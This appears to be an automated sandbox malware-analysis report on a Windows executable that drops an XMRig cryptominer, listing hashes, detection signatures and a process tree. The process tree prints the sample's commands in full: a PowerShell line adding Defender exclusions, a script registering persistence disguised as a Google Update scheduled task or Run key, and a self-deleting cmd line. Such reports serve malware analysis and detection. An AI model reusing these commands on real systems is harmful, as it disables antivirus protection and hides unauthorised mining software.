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Overview
overview
10Static
static
3grhddhsGHs...6).exe
windows7-x64
10grhddhsGHs...6).exe
windows10-2004-x64
10grhddhsGHs... K.exe
windows7-x64
10grhddhsGHs... K.exe
windows10-2004-x64
10grhddhsGHs...7).exe
windows7-x64
10grhddhsGHs...7).exe
windows10-2004-x64
10grhddhsGHs...8).exe
windows7-x64
10grhddhsGHs...8).exe
windows10-2004-x64
10grhddhsGHs...9).exe
windows7-x64
10grhddhsGHs...9).exe
windows10-2004-x64
10grhddhsGHs...0).exe
windows7-x64
10grhddhsGHs...0).exe
windows10-2004-x64
10grhddhsGHs...1).exe
windows7-x64
10grhddhsGHs...1).exe
windows10-2004-x64
10grhddhsGHs...2).exe
windows7-x64
10grhddhsGHs...2).exe
windows10-2004-x64
10grhddhsGHs...3).exe
windows7-x64
10grhddhsGHs...3).exe
windows10-2004-x64
10grhddhsGHs...4).exe
windows7-x64
10grhddhsGHs...4).exe
windows10-2004-x64
10grhddhsGHs...5).exe
windows7-x64
10grhddhsGHs...5).exe
windows10-2004-x64
10grhddhsGHs...6).exe
windows7-x64
10grhddhsGHs...6).exe
windows10-2004-x64
10grhddhsGHs...7).exe
windows7-x64
10grhddhsGHs...7).exe
windows10-2004-x64
10grhddhsGHs...8).exe
windows7-x64
10grhddhsGHs...8).exe
windows10-2004-x64
10grhddhsGHs...9).exe
windows7-x64
10grhddhsGHs...9).exe
windows10-2004-x64
10grhddhsGHs...0).exe
windows7-x64
10grhddhsGHs...0).exe
windows10-2004-x64
10Resubmissions
11/02/2025, 16:33
250211-t2ztsstkey 1011/02/2025, 16:33
250211-t2zh2atkex 1011/02/2025, 16:33
250211-t2yxhatkew 1011/02/2025, 16:33
250211-t2nrjasqdk 1024/10/2024, 20:12
241024-yyvg5asemn 1024/10/2024, 20:11
241024-yygk9ssemk 1024/10/2024, 20:11
241024-yygahasemj 1024/10/2024, 20:11
241024-yyd55sselq 1024/10/2024, 20:08
241024-yw247asdqp 1024/10/2024, 20:08
241024-yw1lcssdqn 10Analysis
-
max time kernel
1800s -
max time network
1801s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
22/08/2024, 20:59
Static task
static1
Behavioral task
behavioral1
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (16).exe
Resource
win7-20240704-en
Behavioral task
behavioral2
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (16).exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral3
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17) - K.exe
Resource
win7-20240704-en
Behavioral task
behavioral4
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17) - K.exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral5
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17).exe
Resource
win7-20240708-en
Behavioral task
behavioral6
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17).exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral7
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (18).exe
Resource
win7-20240704-en
Behavioral task
behavioral8
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (18).exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral9
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (19).exe
Resource
win7-20240708-en
Behavioral task
behavioral10
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (19).exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral11
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (20).exe
Resource
win7-20240704-en
Behavioral task
behavioral12
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (20).exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral13
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (21).exe
Resource
win7-20240705-en
Behavioral task
behavioral14
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (21).exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral15
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (22).exe
Resource
win7-20240705-en
Behavioral task
behavioral16
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (22).exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral17
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (23).exe
Resource
win7-20240708-en
Behavioral task
behavioral18
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (23).exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral19
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (24).exe
Resource
win7-20240708-en
Behavioral task
behavioral20
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (24).exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral21
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (25).exe
Resource
win7-20240708-en
Behavioral task
behavioral22
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (25).exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral23
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (26).exe
Resource
win7-20240704-en
Behavioral task
behavioral24
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (26).exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral25
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (27).exe
Resource
win7-20240708-en
Behavioral task
behavioral26
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (27).exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral27
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (28).exe
Resource
win7-20240704-en
Behavioral task
behavioral28
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (28).exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral29
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (29).exe
Resource
win7-20240704-en
Behavioral task
behavioral30
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (29).exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral31
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (30).exe
Resource
win7-20240729-en
General
-
Target
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (29).exe
-
Size
2.0MB
-
MD5
a16a669a09bf158058b83e04e69fe38e
-
SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
-
SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
-
SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
-
SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
-
Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
description pid Process procid_target PID 1920 created 3512 1920 qM5GMXBk6hJE6Y5e (29).exe 56 PID 1920 created 3512 1920 qM5GMXBk6hJE6Y5e (29).exe 56 PID 1920 created 3512 1920 qM5GMXBk6hJE6Y5e (29).exe 56 PID 1920 created 3512 1920 qM5GMXBk6hJE6Y5e (29).exe 56 PID 880 created 3512 880 updater.exe 56 PID 880 created 3512 880 updater.exe 56 PID 880 created 3512 880 updater.exe 56 PID 3600 created 3512 3600 conhost.exe 56 PID 880 created 3512 880 updater.exe 56 PID 880 created 3512 880 updater.exe 56 -
XMRig Miner payload 30 IoCs
resource yara_rule behavioral30/memory/2872-113-0x00007FF747640000-0x00007FF747E34000-memory.dmp xmrig behavioral30/memory/2872-114-0x00007FF747640000-0x00007FF747E34000-memory.dmp xmrig behavioral30/memory/2872-116-0x00007FF747640000-0x00007FF747E34000-memory.dmp xmrig behavioral30/memory/2872-118-0x00007FF747640000-0x00007FF747E34000-memory.dmp xmrig behavioral30/memory/2872-120-0x00007FF747640000-0x00007FF747E34000-memory.dmp xmrig behavioral30/memory/2872-122-0x00007FF747640000-0x00007FF747E34000-memory.dmp xmrig behavioral30/memory/2872-124-0x00007FF747640000-0x00007FF747E34000-memory.dmp xmrig behavioral30/memory/2872-126-0x00007FF747640000-0x00007FF747E34000-memory.dmp xmrig behavioral30/memory/2872-128-0x00007FF747640000-0x00007FF747E34000-memory.dmp xmrig behavioral30/memory/2872-130-0x00007FF747640000-0x00007FF747E34000-memory.dmp xmrig behavioral30/memory/2872-132-0x00007FF747640000-0x00007FF747E34000-memory.dmp xmrig behavioral30/memory/2872-134-0x00007FF747640000-0x00007FF747E34000-memory.dmp xmrig behavioral30/memory/2872-136-0x00007FF747640000-0x00007FF747E34000-memory.dmp xmrig behavioral30/memory/2872-138-0x00007FF747640000-0x00007FF747E34000-memory.dmp xmrig behavioral30/memory/2872-140-0x00007FF747640000-0x00007FF747E34000-memory.dmp xmrig behavioral30/memory/2872-142-0x00007FF747640000-0x00007FF747E34000-memory.dmp xmrig behavioral30/memory/2872-144-0x00007FF747640000-0x00007FF747E34000-memory.dmp xmrig behavioral30/memory/2872-146-0x00007FF747640000-0x00007FF747E34000-memory.dmp xmrig behavioral30/memory/2872-148-0x00007FF747640000-0x00007FF747E34000-memory.dmp xmrig behavioral30/memory/2872-150-0x00007FF747640000-0x00007FF747E34000-memory.dmp xmrig behavioral30/memory/2872-152-0x00007FF747640000-0x00007FF747E34000-memory.dmp xmrig behavioral30/memory/2872-154-0x00007FF747640000-0x00007FF747E34000-memory.dmp xmrig behavioral30/memory/2872-156-0x00007FF747640000-0x00007FF747E34000-memory.dmp xmrig behavioral30/memory/2872-158-0x00007FF747640000-0x00007FF747E34000-memory.dmp xmrig behavioral30/memory/2872-160-0x00007FF747640000-0x00007FF747E34000-memory.dmp xmrig behavioral30/memory/2872-162-0x00007FF747640000-0x00007FF747E34000-memory.dmp xmrig behavioral30/memory/2872-164-0x00007FF747640000-0x00007FF747E34000-memory.dmp xmrig behavioral30/memory/2872-166-0x00007FF747640000-0x00007FF747E34000-memory.dmp xmrig behavioral30/memory/2872-168-0x00007FF747640000-0x00007FF747E34000-memory.dmp xmrig behavioral30/memory/2872-170-0x00007FF747640000-0x00007FF747E34000-memory.dmp xmrig -
Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 1884 powershell.exe 4168 powershell.exe 1624 powershell.exe 216 powershell.exe -
Executes dropped EXE 1 IoCs
pid Process 880 updater.exe -
resource yara_rule behavioral30/memory/2872-109-0x00007FF747640000-0x00007FF747E34000-memory.dmp upx behavioral30/memory/2872-113-0x00007FF747640000-0x00007FF747E34000-memory.dmp upx behavioral30/memory/2872-114-0x00007FF747640000-0x00007FF747E34000-memory.dmp upx behavioral30/memory/2872-116-0x00007FF747640000-0x00007FF747E34000-memory.dmp upx behavioral30/memory/2872-118-0x00007FF747640000-0x00007FF747E34000-memory.dmp upx behavioral30/memory/2872-120-0x00007FF747640000-0x00007FF747E34000-memory.dmp upx behavioral30/memory/2872-122-0x00007FF747640000-0x00007FF747E34000-memory.dmp upx behavioral30/memory/2872-124-0x00007FF747640000-0x00007FF747E34000-memory.dmp upx behavioral30/memory/2872-126-0x00007FF747640000-0x00007FF747E34000-memory.dmp upx behavioral30/memory/2872-128-0x00007FF747640000-0x00007FF747E34000-memory.dmp upx behavioral30/memory/2872-130-0x00007FF747640000-0x00007FF747E34000-memory.dmp upx behavioral30/memory/2872-132-0x00007FF747640000-0x00007FF747E34000-memory.dmp upx behavioral30/memory/2872-134-0x00007FF747640000-0x00007FF747E34000-memory.dmp upx behavioral30/memory/2872-136-0x00007FF747640000-0x00007FF747E34000-memory.dmp upx behavioral30/memory/2872-138-0x00007FF747640000-0x00007FF747E34000-memory.dmp upx behavioral30/memory/2872-140-0x00007FF747640000-0x00007FF747E34000-memory.dmp upx behavioral30/memory/2872-142-0x00007FF747640000-0x00007FF747E34000-memory.dmp upx behavioral30/memory/2872-144-0x00007FF747640000-0x00007FF747E34000-memory.dmp upx behavioral30/memory/2872-146-0x00007FF747640000-0x00007FF747E34000-memory.dmp upx behavioral30/memory/2872-148-0x00007FF747640000-0x00007FF747E34000-memory.dmp upx behavioral30/memory/2872-150-0x00007FF747640000-0x00007FF747E34000-memory.dmp upx behavioral30/memory/2872-152-0x00007FF747640000-0x00007FF747E34000-memory.dmp upx behavioral30/memory/2872-154-0x00007FF747640000-0x00007FF747E34000-memory.dmp upx behavioral30/memory/2872-156-0x00007FF747640000-0x00007FF747E34000-memory.dmp upx behavioral30/memory/2872-158-0x00007FF747640000-0x00007FF747E34000-memory.dmp upx behavioral30/memory/2872-160-0x00007FF747640000-0x00007FF747E34000-memory.dmp upx behavioral30/memory/2872-162-0x00007FF747640000-0x00007FF747E34000-memory.dmp upx behavioral30/memory/2872-164-0x00007FF747640000-0x00007FF747E34000-memory.dmp upx behavioral30/memory/2872-166-0x00007FF747640000-0x00007FF747E34000-memory.dmp upx behavioral30/memory/2872-168-0x00007FF747640000-0x00007FF747E34000-memory.dmp upx behavioral30/memory/2872-170-0x00007FF747640000-0x00007FF747E34000-memory.dmp upx -
Drops file in System32 directory 3 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 880 set thread context of 3600 880 updater.exe 110 PID 880 set thread context of 2872 880 updater.exe 117 -
Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File opened for modification C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Chrome\updater.exe qM5GMXBk6hJE6Y5e (29).exe -
Detects videocard installed 1 TTPs 2 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 4388 WMIC.exe 4228 WMIC.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe -
Suspicious behavior: EnumeratesProcesses 30 IoCs
pid Process 1920 qM5GMXBk6hJE6Y5e (29).exe 1920 qM5GMXBk6hJE6Y5e (29).exe 1884 powershell.exe 1884 powershell.exe 1920 qM5GMXBk6hJE6Y5e (29).exe 1920 qM5GMXBk6hJE6Y5e (29).exe 216 powershell.exe 216 powershell.exe 1920 qM5GMXBk6hJE6Y5e (29).exe 1920 qM5GMXBk6hJE6Y5e (29).exe 1920 qM5GMXBk6hJE6Y5e (29).exe 1920 qM5GMXBk6hJE6Y5e (29).exe 1600 powershell.exe 1600 powershell.exe 880 updater.exe 880 updater.exe 4168 powershell.exe 4168 powershell.exe 880 updater.exe 880 updater.exe 1624 powershell.exe 1624 powershell.exe 880 updater.exe 880 updater.exe 3600 conhost.exe 3600 conhost.exe 880 updater.exe 880 updater.exe 880 updater.exe 880 updater.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 1884 powershell.exe Token: SeDebugPrivilege 216 powershell.exe Token: SeIncreaseQuotaPrivilege 216 powershell.exe Token: SeSecurityPrivilege 216 powershell.exe Token: SeTakeOwnershipPrivilege 216 powershell.exe Token: SeLoadDriverPrivilege 216 powershell.exe Token: SeSystemProfilePrivilege 216 powershell.exe Token: SeSystemtimePrivilege 216 powershell.exe Token: SeProfSingleProcessPrivilege 216 powershell.exe Token: SeIncBasePriorityPrivilege 216 powershell.exe Token: SeCreatePagefilePrivilege 216 powershell.exe Token: SeBackupPrivilege 216 powershell.exe Token: SeRestorePrivilege 216 powershell.exe Token: SeShutdownPrivilege 216 powershell.exe Token: SeDebugPrivilege 216 powershell.exe Token: SeSystemEnvironmentPrivilege 216 powershell.exe Token: SeRemoteShutdownPrivilege 216 powershell.exe Token: SeUndockPrivilege 216 powershell.exe Token: SeManageVolumePrivilege 216 powershell.exe Token: 33 216 powershell.exe Token: 34 216 powershell.exe Token: 35 216 powershell.exe Token: 36 216 powershell.exe Token: SeIncreaseQuotaPrivilege 216 powershell.exe Token: SeSecurityPrivilege 216 powershell.exe Token: SeTakeOwnershipPrivilege 216 powershell.exe Token: SeLoadDriverPrivilege 216 powershell.exe Token: SeSystemProfilePrivilege 216 powershell.exe Token: SeSystemtimePrivilege 216 powershell.exe Token: SeProfSingleProcessPrivilege 216 powershell.exe Token: SeIncBasePriorityPrivilege 216 powershell.exe Token: SeCreatePagefilePrivilege 216 powershell.exe Token: SeBackupPrivilege 216 powershell.exe Token: SeRestorePrivilege 216 powershell.exe Token: SeShutdownPrivilege 216 powershell.exe Token: SeDebugPrivilege 216 powershell.exe Token: SeSystemEnvironmentPrivilege 216 powershell.exe Token: SeRemoteShutdownPrivilege 216 powershell.exe Token: SeUndockPrivilege 216 powershell.exe Token: SeManageVolumePrivilege 216 powershell.exe Token: 33 216 powershell.exe Token: 34 216 powershell.exe Token: 35 216 powershell.exe Token: 36 216 powershell.exe Token: SeIncreaseQuotaPrivilege 216 powershell.exe Token: SeSecurityPrivilege 216 powershell.exe Token: SeTakeOwnershipPrivilege 216 powershell.exe Token: SeLoadDriverPrivilege 216 powershell.exe Token: SeSystemProfilePrivilege 216 powershell.exe Token: SeSystemtimePrivilege 216 powershell.exe Token: SeProfSingleProcessPrivilege 216 powershell.exe Token: SeIncBasePriorityPrivilege 216 powershell.exe Token: SeCreatePagefilePrivilege 216 powershell.exe Token: SeBackupPrivilege 216 powershell.exe Token: SeRestorePrivilege 216 powershell.exe Token: SeShutdownPrivilege 216 powershell.exe Token: SeDebugPrivilege 216 powershell.exe Token: SeSystemEnvironmentPrivilege 216 powershell.exe Token: SeRemoteShutdownPrivilege 216 powershell.exe Token: SeUndockPrivilege 216 powershell.exe Token: SeManageVolumePrivilege 216 powershell.exe Token: 33 216 powershell.exe Token: 34 216 powershell.exe Token: 35 216 powershell.exe -
Suspicious use of WriteProcessMemory 10 IoCs
description pid Process procid_target PID 2904 wrote to memory of 3060 2904 cmd.exe 100 PID 2904 wrote to memory of 3060 2904 cmd.exe 100 PID 1600 wrote to memory of 1516 1600 powershell.exe 101 PID 1600 wrote to memory of 1516 1600 powershell.exe 101 PID 880 wrote to memory of 3600 880 updater.exe 110 PID 2576 wrote to memory of 4388 2576 cmd.exe 113 PID 2576 wrote to memory of 4388 2576 cmd.exe 113 PID 3444 wrote to memory of 4228 3444 cmd.exe 116 PID 3444 wrote to memory of 4228 3444 cmd.exe 116 PID 880 wrote to memory of 2872 880 updater.exe 117 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3512
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C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (29).exe"C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (29).exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:1920
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1884
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:216
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1600 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:1516
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (29).exe"2⤵
- Suspicious use of WriteProcessMemory
PID:2904 -
C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 33⤵PID:3060
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4168
